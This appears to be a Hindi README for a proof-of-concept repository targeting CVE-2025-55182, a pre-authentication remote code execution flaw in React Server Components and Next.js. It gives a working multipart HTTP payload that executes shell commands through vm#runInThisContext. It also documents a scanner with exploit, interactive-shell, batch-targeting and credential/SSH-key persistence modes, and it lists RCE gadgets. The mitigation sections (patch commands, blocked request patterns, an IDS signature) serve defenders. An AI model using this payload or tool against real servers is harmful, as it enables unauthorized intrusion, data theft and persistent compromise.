
एकीकृत सुरक्षा अनुसंधान उपकरण
schema.cx द्वारा सुरक्षा अनुसंधान
"नियंत्रण एक भ्रम है। यह वे सिस्टम हैं जिन्हें हम बनाते हैं जो हमें नियंत्रित करते हैं—जब तक कि हम उन्हें पहले नहीं समझते।"
यह टूल केवल अधिकृत सुरक्षा परीक्षण के लिए है
रुकें। आगे बढ़ने से पहले इसे पढ़ें।
इस रिपॉजिटरी में एक क्रिटिकल सुरक्षा भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट कोड शामिल है। इस रिपॉजिटरी में किसी भी सामग्री तक पहुँच, डाउनलोड या उपयोग करके, आप निम्नलिखित को स्वीकार करते हैं और सहमत होते हैं:
लिखित प्राधिकरण आवश्यक: किसी भी सुरक्षा परीक्षण से पहले आपके पास सिस्टम स्वामी से स्पष्ट, लिखित अनुमति होनी चाहिए। मौखिक समझौते पर्याप्त नहीं हैं।
दायरे की सीमाएँ: परीक्षण केवल आपके प्राधिकरण में स्पष्ट रूप से सूचीबद्ध सिस्टम तक सीमित होना चाहिए। "स्कोप क्रीप" की अनुमति नहीं है।
लागू कानून: कंप्यूटर सिस्टम तक अनधिकृत पहुँच निम्नलिखित का उल्लंघन करती है:
इस रिपॉजिटरी के लेखक और योगदानकर्ता:
"सवाल यह नहीं है कि क्या हम भेद्यता का शोषण कर सकते हैं। सवाल यह है कि क्या हमें करना चाहिए, और किस उद्देश्य के लिए।"
CVE-2025-55182 एक क्रिटिकल प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है जो React 19.x और Next.js 15.x-16.x अनुप्रयोगों में React सर्वर कंपोनेंट्स को प्रभावित करती है।
यह भेद्यता किसी भी अनप्रमाणित हमलावर को, जिसके पास भेद्य अनुप्रयोग तक नेटवर्क पहुँच है, सर्वर पर मनमाने कमांड निष्पादित करने की अनुमति देती है। हमले के लिए कोई क्रेडेंशियल, कोई उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है, और इसे पूरी तरह से स्वचालित किया जा सकता है। सफल शोषण से निम्नलिखित होता है:
"लोग सिस्टम पर भरोसा करते हैं क्योंकि वे उन्हें समझते नहीं हैं। वह भरोसा ही एक भेद्यता है।"
यह भेद्यता requireModule फ़ंक्शन के भीतर React के Flight प्रोटोकॉल कार्यान्वयन में मौजूद है। यह फ़ंक्शन यह सत्यापित किए बिना कि अनुरोधित प्रॉपर्टी मॉड्यूल की अपनी प्रॉपर्टी है, उपयोगकर्ता-नियंत्रित इनपुट के आधार पर मॉड्यूल एक्सपोर्ट तक पहुँचने के लिए ब्रैकेट नोटेशन का उपयोग करता है।
भेद्य कोड स्थान:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Function: requireModule (approximately line 2546-2558 in v19.0.0)
भेद्य पैटर्न:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... async handling ...
return moduleExports[metadata[2]]; // ← VULNERABLE: No hasOwnProperty check
}
यह हमला JavaScript की प्रोटोटाइप चेन ट्रैवर्सल का लाभ उठाता है:
$ACTION_0:0 फ़ील्ड में हमलावर-नियंत्रित id (module#export प्रारूप) और bound (तर्क) प्रॉपर्टी वाला JSON होता हैconstructor जैसे एक्सपोर्ट निर्दिष्ट करके या प्रोटोटाइप प्रॉपर्टीज़ तक पहुँच कर, हमलावर अंतर्निहित Node.js मॉड्यूल्स का संदर्भ ले सकते हैंvm.runInThisContext, child_process.execSync, या fs.readFileSync जैसे फ़ंक्शन हमलावर-आपूर्ति तर्कों के साथ निष्पादित होते हैंHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Parses "module#export" format
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Prototype chain access → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
"हर सिस्टम का एक दरवाज़ा होता है। सवाल यह है कि क्या आपने ताला खुद बनाया है—या इसे किसी ऐसे व्यक्ति से विरासत में पाया है जिसने कभी आगंतुकों की उम्मीद नहीं की थी।"
| उत्पाद | भेद्य संस्करण | पैच किए गए संस्करण |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (भेद्य React का उपयोग करते हुए) | पैच किए गए React वाले संस्करण |
vm, child_process, या fs जैसे मॉड्यूल वेबपैक बंडल में होने चाहिएइस रिपॉजिटरी में कई ऑपरेशन मोड वाला एक व्यापक Python-आधारित सुरक्षा स्कैनर शामिल है।
CVE-2025-55182-poc/
├── README.md # This file
├── scanner/
│ ├── __init__.py # Python package init
│ ├── scanner.py # Main unified scanner (6 modes)
│ ├── readme.md # Detailed scanner documentation
│ ├── requirements.txt # Python dependencies
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # Deep dive into vulnerability
│ └── VULNERABLE-PACKAGES.md # Affected package versions
इंस्टॉलेशन:
cd scanner
pip install -r requirements.txt
भेद्यता स्कैन:
# Check if target is vulnerable
python scanner.py scan https://target.com
गैजेट पहचान:
# Identify available RCE gadgets
python scanner.py exploit https://target.com --detect-gadgets
कमांड निष्पादन (प्राधिकरण के साथ):
# Execute command on vulnerable target
python scanner.py exploit https://target.com -c "whoami"
बैच परीक्षण:
# Test multiple targets from file
python scanner.py batch -f targets.txt -o results.json
सत्यापन के साथ स्वचालित स्कैनिंग:
# Comprehensive scan with exploit verification
python scanner.py auto -f targets.txt -o report.txt
भेद्य लक्ष्य:
[+] VULNERABLE to CVE-2025-55182!
Framework: Next.js
Version: 15.1.0
Confidence: HIGH
Available Gadgets:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
पैच किया गया लक्ष्य:
[-] Not vulnerable or unable to determine
Framework detected: Next.js
Version: 15.2.0 (patched)
पूर्ण दस्तावेज़ीकरण के लिए, scanner/readme.md देखें।
"एक उपकरण केवल उतना ही खतरनाक होता है जितना उसके पीछे का इरादा। सही हाथों में, एक हथियार ढाल बन जाता है।"
/etc/passwd, SSH कुंजियाँ, क्लाउड क्रेडेंशियलडेटा उल्लंघन: हमलावर डेटाबेस क्रेडेंशियल वाली .env फ़ाइलें पढ़ता है, ग्राहक डेटा बाहर निकालता है
क्रिप्टोमाइनर इंस्टॉलेशन: हमलावर माइनिंग स्क्रिप्ट लिखता है, पर्सिस्टेंस के लिए क्रॉन जॉब जोड़ता है
सप्लाई चेन अटैक: हमलावर प्रोडक्शन में सोर्स कोड संशोधित करता है, उपयोगकर्ताओं को दुर्भावनापूर्ण सामग्री परोसता है
लेटरल मूवमेंट: समझौता किया गया सर्वर आंतरिक डेटाबेस, API और सेवाओं पर हमला करने के लिए उपयोग किया जाता है
रैनसमवेयर: हमलावर अनुप्रयोग फ़ाइलों को एन्क्रिप्ट करता है, डिक्रिप्शन कुंजियों के लिए भुगतान की मांग करता है
React को तुरंत अपग्रेड करें
npm update react react-dom react-server-dom-webpack
लक्ष्य संस्करण: 19.0.1+, 19.1.2+, या 19.2.1+
पैच अनुप्रयोग सत्यापित करें
npm ls react
सुनिश्चित करें कि आपके डिपेंडेंसी ट्री में कोई भेद्य संस्करण नहीं बचा है
इन पैटर्न वाले अनुरोधों को ब्लॉक करें:
# Request body patterns to block
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync
वेबपैक बंडलिंग से खतरनाक पैकेज बाहर करें:
// next.config.js
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs',
'vm2'
]
}
निगरानी के लिए लॉग पैटर्न:
$ACTION_REF_ या $ACTION_ID_ फ़ील्ड/api/* एंडपॉइंट पर POST अनुरोधconstructor, prototype, या अप्रत्याशित मॉड्यूल एक्सेस का संदर्भ देने वाले त्रुटि संदेशघुसपैठ पहचान सिग्नेचर:
alert http any any -> $HOME_NET any (
msg:"CVE-2025-55182 Exploit Attempt";
content:"$ACTION_";
content:"#constructor"; distance:0;
sid:2025551820; rev:1;
)
npm audit, Snyk, या समान टूल के साथ नियमित स्कैन"पैचिंग केवल टूटी चीज़ को ठीक करने के बारे में नहीं है। यह उन दरवाज़ों को बंद करने के बारे में है जिनके बारे में आप नहीं जानते थे कि वे खुले हैं।"
यह प्रकटीकरण समन्वित भेद्यता प्रकटीकरण के लिए CERT/CC भेद्यता प्रकटीकरण दिशानिर्देश और ISO/IEC 29147:2018 मानकों का पालन करता है।
यह प्रूफ-ऑफ-कॉन्सेप्ट schema.cx की सुरक्षा अनुसंधान टीम द्वारा विकसित किया गया था।
रिपॉजिटरी: https://github.com/ejpir/CVE-2025-55182-poc
हम धन्यवाद देना चाहते हैं:
यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए जारी किया गया है।
इस सॉफ़्टवेयर का उपयोग करके, आप सहमत हैं:
"हम नष्ट करने के लिए हैक नहीं करते। हम समझने के लिए हैक करते हैं। और समझना कुछ बेहतर बनाने की दिशा में पहला कदम है।"
schema.cx — एक सुरक्षित डिजिटल दुनिया के लिए सुरक्षा अनुसंधान
| मेट्रिक | रेटिंग |
|---|
| CVSS v3.1 बेस स्कोर | 10.0 क्रिटिकल |
| अटैक वेक्टर | नेटवर्क |
| अटैक जटिलता | कम |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
| प्रभाव (C/I/A) | उच्च / उच्च / उच्च |
| गैजेट | मॉड्यूल | विवरण | प्रभाव |
|---|
vm#runInThisContext | vm | वर्तमान कॉन्टेक्स्ट में JS निष्पादित करें | प्रत्यक्ष RCE |
vm#runInNewContext | vm | सैंडबॉक्स में JS निष्पादित करें (बचने योग्य) | प्रत्यक्ष RCE |
child_process#execSync | child_process | शेल कमांड निष्पादित करें | प्रत्यक्ष RCE |
child_process#spawnSync | child_process | प्रोसेस स्पॉन करें | प्रत्यक्ष RCE |
fs#readFileSync | fs | मनमानी फ़ाइलें पढ़ें | डेटा एक्सफ़िल्ट्रेशन |
fs#writeFileSync | fs | मनमानी फ़ाइलें लिखें | पर्सिस्टेंस/बैकडोर |
module#_load | module | JS मॉड्यूल लोड करें (2-चरणीय RCE) | अप्रत्यक्ष RCE |
| मॉड्यूल | बंडल में संभावना | सामान्य स्रोत |
|---|
fs | बहुत अधिक | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | मध्यम-उच्च | execa, shelljs, puppeteer, sharp, pdf जनरेटर |
vm | कम-मध्यम | ejs, pug, टेम्पलेट इंजन |
module | बहुत कम | tsx, ts-node (आमतौर पर केवल CLI) |
| मोड | उद्देश्य |
|---|
scan | भेद्यता पहचान और फिंगरप्रिंटिंग |
exploit | विशिष्ट गैजेट्स के साथ नियंत्रित शोषण |
shell | भेद्य लक्ष्यों पर इंटरैक्टिव कमांड शेल |
batch | सांख्यिकी के साथ कई URL का परीक्षण |
auto | सत्यापन के साथ स्वचालित मल्टी-टारगेट स्कैनिंग |
persist | पर्सिस्टेंस अटैक प्रदर्शन (SSH कुंजियाँ, क्रेडेंशियल) |
| दिनांक | घटना |
|---|
| खोज | जानकारी लंबित |
| विक्रेता सूचना | जानकारी लंबित |
| विक्रेता स्वीकृति | जानकारी लंबित |
| पैच विकास | जानकारी लंबित |
| पैच रिलीज़ | React 19.0.1, 19.1.2, 19.2.1 |
| सार्वजनिक प्रकटीकरण | जानकारी लंबित |
| CVE असाइनमेंट | CVE-2025-55182 |